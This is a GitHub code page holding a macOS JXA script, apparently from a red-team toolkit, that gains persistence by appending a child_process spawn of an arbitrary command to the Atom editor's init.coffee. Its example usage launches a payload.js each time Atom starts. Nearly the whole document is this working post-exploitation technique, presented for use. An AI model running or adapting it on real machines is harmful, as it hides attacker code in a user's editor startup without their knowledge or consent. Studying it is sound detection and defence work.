Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
78 lines (69 loc) · 2.66 KB

File metadata and controls

78 lines (69 loc) · 2.66 KB
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
//Atom Init Script Modification
//example usage
//AtomPersistence('osascript -l JavaScript /path/to/file/payload.js &')
function AtomPersistence(command) {
ObjC.import('Foundation')
ObjC.import('stdlib')
var app = Application.currentApplication();
app.includeStandardAdditions = true;
var userHome = $.getenv('HOME')
var output = ""
try {
function listDirectory(strPath) {
var fm = $.NSFileManager.defaultManager;
return ObjC.unwrap(
fm.contentsOfDirectoryAtPathError($(strPath)
.stringByExpandingTildeInPath, null))
.map(ObjC.unwrap);
}
function writeTextToFile(text, file, overwriteExistingContent) {
var fileString = file.toString()
var openedFile = app.openForAccess(Path(fileString), {
writePermission: true
})
if (overwriteExistingContent) {
app.setEof(openedFile, {
to: 0
})
}
app.write(text, {
to: openedFile,
startingAt: app.getEof(openedFile)
})
app.closeAccess(openedFile)
}
var atomPath = '/System/Volumes/Data/' + userHome + '/.atom/init.coffee'
isDir = Ref()
var atomExistsCheck = $.NSFileManager.alloc.init.fileExistsAtPath(atomPath)
if (atomExistsCheck == false) {
output += "Atom is not installed on target"
} else {
formatCommand = command.split(" ");
var stringArray = new Array();
for (var i = 0; i < formatCommand.length; i++) {
stringArray.push(formatCommand[i]);
if (i != formatCommand.length - 1) {
stringArray.push(" ");
}
}
var filteredCommand = stringArray.filter(function(el) {
return el != " ";
});
var atomCommand = []
for (var key in filteredCommand) {
var transformCommand = "'" + filteredCommand[key] + "'"
atomCommand.push(transformCommand)
}
var replaceCommand = atomCommand[0] + ", [" + atomCommand.slice(1) + "]"
var commandTemplate = `
{spawn} = require 'child_process'
atom = spawn templateCommand`
var newCommand = commandTemplate.replace("templateCommand", replaceCommand)
writeTextToFile(newCommand, atomPath, false)
output += "Atom Init script at " + atomPath + " has been modified for Persistence"
}
} catch (error) {
output += error.toString()
}
return output
}
Morty Proxy This is a proxified and sanitized view of the page, visit original site.